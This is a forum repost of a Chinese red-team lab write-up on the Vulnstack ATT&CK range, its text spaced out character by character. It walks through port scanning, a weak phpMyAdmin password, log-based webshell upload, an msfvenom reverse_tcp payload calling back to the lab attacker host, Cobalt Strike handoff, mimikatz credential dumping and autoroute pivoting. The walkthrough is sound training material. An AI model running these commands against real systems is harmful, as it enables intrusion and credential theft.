设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [7639] 2021-07-31_ATT&CK红队实战靶场初探（一） ...
返回列表 发新帖
查看: 3|回复: 0

[7639] 2021-07-31_ATT&CK红队实战靶场初探（一）

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 6 天前 | 显示全部楼层 |阅读模式
2021-07-31_ATT&CK红队实战靶场初探（一） A T T & C K 红 队 实 战 靶 场 初 探 （ 一 ） F 1 2 s e c   2 0 2 1 - 0 7 - 3 1 以 下 文 章 来 源 于 广 软 N S D A 安 全 团 队   ， 作 者 青 丝 未 散 一 、 环 境 配 置 靶 机 下 载 地 址 ： h t t p : / / v u l n s t a c k . q i y u a n x u e t a n g . n e t / v u l n / d e t a i l / 2 攻 击 示 意 图 ： 靶 机 统 一 使 用 虚 拟 机 搭 建 w e b 服 务 器 ： w i n d o w s 7   i p ： 1 9 2 . 1 6 8 . 5 2 . 1 4 3 / 1 9 2 . 1 6 8 . 1 5 4 . 1 5 2 域 成 员 ： w i n d o w s   s e r v e r   2 0 0 3   i p ： 1 9 2 . 1 6 8 . 5 2 . 1 4 1 广 软 广 软 N S D A 安 全 团 队 安 全 团 队   . 技 术 分 享 ， 感 谢 关 注
域 控 ： w i n d o w s   s e r v e r   2 0 0 8   i p ： 1 9 2 . 1 6 8 . 5 2 . 1 3 8 攻 击 机 ： k a l i   i p ： 1 9 2 . 1 6 8 . 1 5 4 . 1 4 6 二 、 外 网 打 点 n m a p 扫 描 i p ， 看 一 下 开 了 哪 些 端 口 开 了 8 0 和 3 3 0 6 ， 访 问 8 0 是 个 探 针 ， 知 道 网 站 路 径 和 p h p 版 本 信 息 上 d i r s e a r c h 扫 一 下 目 录
有 p h p M y A d m i n 试 下 弱 口 令 , r o o t / r o o t 进 去 了 然 后 就 是 g e t s h e l l ， 这 里 参 考 ： h t t p s : / / c l o u d . t e n c e n t . c o m / d e v e l o p e r / a r t i c l e / 1 5 4 0 5 0 6 ， 用 的 是 日 志 g e t s h e l l
写 完 s h e l l 蚁 剑 连 上 去 ， 成 功 g e t s h e l l
三 、 内 网 渗 透
1 、 用 m s f 生 成 e x e 上 线 ， 联 动 c s m s f 设 置 通 过 蚁 剑 上 传 木 马 ， 执 行 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r _ r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 5 4 . 1 4 6   L P O R T = 4 4 4 4   - f   e x e   - o   s h e l l . e x e
成 功 得 到 s e s s i o n 打 开 c s ， 设 置 监 听 器 在 m s f 中 使 用 e x p l o i t / w i n d o w s / l o c a l / p a y l o a d _ i n j e c t 模 块 ， s e s s i o n 设 置 为 刚 获 得 的 s e s s i o n s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p
执 行 ， c s 成 功 上 线 2 、 信 息 收 集 ( 1 ) m i m i k a t z 提 取 账 号 明 文 密 码
( 2 ) p o s t / w i n d o w s / g a t h e r / e n u m _ a p p l i c a t i o n s 模 块 获 取 软 件 列 表
( 3 ) g e t _ l o c a l _ s u b n e t s 获 取 子 网 信 息 + 内 网 流 量 转 发 （ m s f + p r o x y c h a i n s ） 获 得 内 网 网 段 为 1 9 2 . 1 6 8 . 5 2 . 0 / 2 4 添 加 路 由 让 m s f 可 以 扫 描 网 段 r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 5 2 . 0 / 2 4
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 13:15 , Processed in 0.474230 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表